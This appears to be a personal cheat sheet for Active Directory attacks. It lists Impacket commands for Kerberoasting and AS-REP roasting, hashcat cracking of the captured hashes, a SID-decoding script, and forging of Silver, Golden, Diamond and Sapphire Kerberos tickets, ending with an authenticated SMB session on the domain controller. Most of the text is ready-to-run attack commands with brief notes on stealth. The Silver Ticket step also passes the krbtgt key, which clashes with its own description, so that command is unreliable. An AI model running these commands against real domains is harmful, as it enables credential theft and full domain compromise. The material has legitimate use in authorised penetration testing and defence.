These are some scribbles if I ever need to look up how to exploit Kerberoasting or AS-REP Roasting. I might expand on this later…​

ℹ️
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity.

Environment

For this article, we’re assuming the following (change accordingly):

user $ echo $SHELL
/usr/bin/fish

user $ which GetUserSPNs.py
/usr/bin/GetUserSPNs.py
user $ which GetNPUsers.py
/usr/bin/GetNPUsers.py

user $ set win_domain company.org
user $ set dc_ip 192.168.1.1
user $ set regular_user_account gijsbert

Enum

Using GetUserSPNs.py from Impacket to check for Kerberoastable accounts:

user $ GetUserSPNs.py {$win_domain}/{$regular_user_account}

Retrieve Kerberoastable encrypted hashes:

user $ GetUserSPNs.py {$win_domain}/{$regular_user_account} -request -outputfile \
           hashes.spnroast

Using GetNPUsers.py (also from Impacket) to check for AS-REP Roastable accounts:

user $ GetNPUsers.py {$win_domain}/{$regular_user_account}

Retrieve AS-REP Roastable encrypted hashes:

user $ GetNPUsers.py {$win_domain}/{$regular_user_account} -request -format \
           hashcat -outputfile hashes.asreproast

Cracking

kerberoast

Cracking "$krb5tgs$23$" type hashes (RC4), using a hashcat rule based attack (Kerberoasting):

user $ hashcat -O -m 13100 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.spnroast cracked-dict-history \
           --potfile-path hashcat.pot -r d3adhob0.rule

Cracking "$krb5tgs$17$" type hashes (AES-128), using a hashcat rule based attack (Kerberoasting):

user $ hashcat -O -m 19600 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.spnroast cracked-dict-history \
           --potfile-path hashcat.pot -r OneRuleToRuleThemStill.rule

Cracking "$krb5tgs$18$" type hashes (AES-256), using a hashcat rule based attack (Kerberoasting):

user $ hashcat -O -m 19700 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.spnroast cracked-dict-history \
           --potfile-path hashcat.pot -r OneRuleToRuleThemStill.rule

Cracking "$krb5asrep$23$" type hashes, using a hashcat rule based attack (AS-REP Roasting):

user $ hashcat -O -m 18200 -w 3 -a 0 --session=rule -o cracked.out \
           --outfile-format=3 hashes.asreproast cracked-dict-history \
           --potfile-path hashcat.pot -r OneRuleToRuleThemStill.rule

Analysis

Show accounts of which the hashes are cracked:

user $ cut -d \$ -f 1-5 hashcat.pot

Forging Kerberos Tickets

For this section, we’re assuming the following (change accordingly):

user $ echo $SHELL
/usr/bin/fish

user $ which ticketer.py
/usr/bin/ticketer.py
user $ which smbclient.py
/usr/bin/smbclient.py

user $ set win_domain company.org
user $ set dc_ip 192.168.1.1
user $ set dc_fqdn dc01.{$win_domain}
user $ set regular_user_account gijsbert
user $ set regular_user_passwd Geh31m!
user $ set privileged_user_account evert

# The following can be retrieved from an NTDS dump (e.g. using Impacket's `secretsdump.py`)
user $ set privileged_user_rid 1108
user $ set privileged_user_aeskey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
user $ set krbtgt_nthash xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
user $ set krbtgt_aeskey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
ℹ️
Further mitigations by Microsoft now also demand including the RID (i.e. setting -user-id, when using Impacket’s ticketer.py) of the privileged user you want to create the ticket for (e.g. domain admin). You can lookup the RID in the secretsdump.py output (e.g. company.org\evert:1108:xxx[…​]xxx:xxx[…​]xxx:::, where 1108 is the RID), or via LDAP (e.g. using ldapsearch, as will be discussed).

Get the domain SID, and set it:

user $ lookupsid.py "$win_domain/$regular_user_account:$regular_user_passwd@$dc_ip" 0
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx
Or, lookup the SID and/or RID via ldapsearch (click to expand/collapse)
user $ ldapsearch -x -D {$regular_user_account}@{$win_domain} \
           -w "$regular_user_passwd" \
           -b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
           -s sub "sAMAccountName=$privileged_user_account" \
           -H ldap://{$dc_ip} ObjectSID

Then convert the base64 SID, using a script like (Fish port of https://serverfault.com/a/852338):

#!/usr/bin/env fish

# Read Base-64 encoded objectSid from first argument
set -l OBJECT_ID $argv[1]

# Decode it, hex-dump it and store it in an array
set -l G (echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 "%02X\n"')

# SID in HEX
# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}

# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
# LESA = Little Endian Sub Authority
# BESA = Big Endian Sub Authority
# LERID = Little Endian Relative ID
# BERID = Big Endian Relative ID

set -l BESA2 "$G[9]$G[10]$G[11]$G[12]"
set -l BESA3 "$G[13]$G[14]$G[15]$G[16]"
set -l BESA4 "$G[17]$G[18]$G[19]$G[20]"
set -l BESA5 "$G[21]$G[22]$G[23]$G[24]"
set -l BERID "$G[25]$G[26]$G[27]$G[28]"

# Compact LE reordering patterns
set -l U32 '^(.{2})(.{2})(.{2})(.{2})$' # 4 bytes (8 hex)

set -l LESA1 "$G[3]$G[4]$G[5]$G[6]$G[7]$G[8]"
set -l LESA2 (string replace -r $U32 '\4\3\2\1' $BESA2)
set -l LESA3 (string replace -r $U32 '\4\3\2\1' $BESA3)
set -l LESA4 (string replace -r $U32 '\4\3\2\1' $BESA4)
set -l LESA5 (string replace -r $U32 '\4\3\2\1' $BESA5)
set -l LERID (string replace -r $U32 '\4\3\2\1' $BERID)

set -l LE_SID_HEX "$LESA1-$LESA2-$LESA3-$LESA4-$LESA5-$LERID"

# Initial SID value which is used to construct actual SID
set -l SID "S-1"

# Convert LE_SID_HEX to decimal values and append it to SID as a string
for OBJECT in (string split -- '-' $LE_SID_HEX)
    test -n "$OBJECT"; and set SID "$SID-"(printf "%d" 0x$OBJECT)
end

echo $SID

Then run the script, appending the objectSid:

user $ fish ./sid.fish AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx

Or even combine in a single command like so:

$ fish ./sid.fish (ldapsearch -x -D {$regular_user_account}@{$win_domain} \
          -w "$regular_user_passwd" \
          -b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
          -s sub "sAMAccountName=$privileged_user_account" \
          -H ldap://{$dc_ip} ObjectSID | grep objectSid | cut -d " " -f 2)
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx

The RID is that array of numbers of the string (e.g. that last xxxx), and the domain SID is everything up to that last part (e.g. S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx).

Set the SID and RID accordingly:

user $ set privileged_user_rid 1108
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx

 

Now we can forge tickets.

⚪ Silver Tickets, using the computer account’s AES key of which its hostname is part of the SPN:

user $ ticketer.py \
           -aesKey {$krbtgt_aeskey} \
           -domain-sid {$win_domain_sid} \
           -domain {$win_domain} \
           -spn 'xxxx/xxxx.xxxx.xxxx' \
           serviceaccount
ℹ️
Silver Tickets are easier to obtain, e.g. via Kerberoasting, and such. Their scope is more limited than Golden Tickets, but it avoids communication with the KDC, which is more stealthy and more difficult to detect. Silver Tickets only work when logging on the machine according limited by the SPN being (ab)used.

🟡 Golden Tickets, using the KRBTGT AES key (e.g. the aes256-cts-hmac-sha1-96 value of krbtgt in the secretsdump output):

user $ ticketer.py \
           -aesKey {$krbtgt_aeskey} \
           -domain-sid {$win_domain_sid} \
           -domain {$win_domain} \
           -user-id {$privileged_user_rid} \
           {$privileged_user_account}
ℹ️
Golden Tickets demand knowledge of KRBTGT secrets, which means the attacker already has DA access, but allows for deeper lateral movement. While such tickets are immensely powerful, they’re nowadays well understood and more easily detectable (e.g. no preceding AS-REQ / AS-REP; anomalous ticket duration; when using NT hash over AES, etc.).

🔵 Diamond Tickets:

user $ ticketer.py \
           -dc-ip {$dc_ip} \
           -request \
           -domain {$win_domain} \
           -user {$regular_user_account} \
           -password "$regular_user_passwd" \
           -aesKey {$krbtgt_aeskey} \
           -domain-sid {$win_domain_sid} \
           -user-id {$privileged_user_rid} \
           {$privileged_user_account}
ℹ️
Diamond Tickets first request a normal ticket via a low privileged user (i.e. the -user and -password arguments and values). The PAC is then decrypted, modified, provided with recalculated signatures, after which the PAC is re-encrypted again. These tickets are a bit more stealthy as these do precede AS-REQ and AS-REP, unlike Golden Tickets.

🟣 Sapphire Tickets:

user $ ticketer.py \
           -dc-ip {$dc_ip} \
           -request \
           -impersonate {$privileged_user_account} \
           -domain {$win_domain} \
           -user {$regular_user_account} \
           -password "$regular_user_passwd" \
           -nthash {$krbtgt_nthash} \
           -aesKey {$krbtgt_aeskey} \
           -domain-sid {$win_domain_sid} \
           -user-id {$privileged_user_rid} \
           {$privileged_user_account}
ℹ️
Sapphire Tickets avoid forging the PAC altogether, like Diamond Tickets, but instead use a real privileged user account’s PAC (stealthier) via S4U2self+u2u.

Load the ticket:

$ export KRB5CCNAME={$privileged_user_account}.ccache

Login using the ticket (-k and -no-pass will use the above ticket referred to by KRB5CCNAME):

user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} \
           {$win_domain}/{$privileged_user_account}@{$dc_fqdn}
# who
# use c$
# ls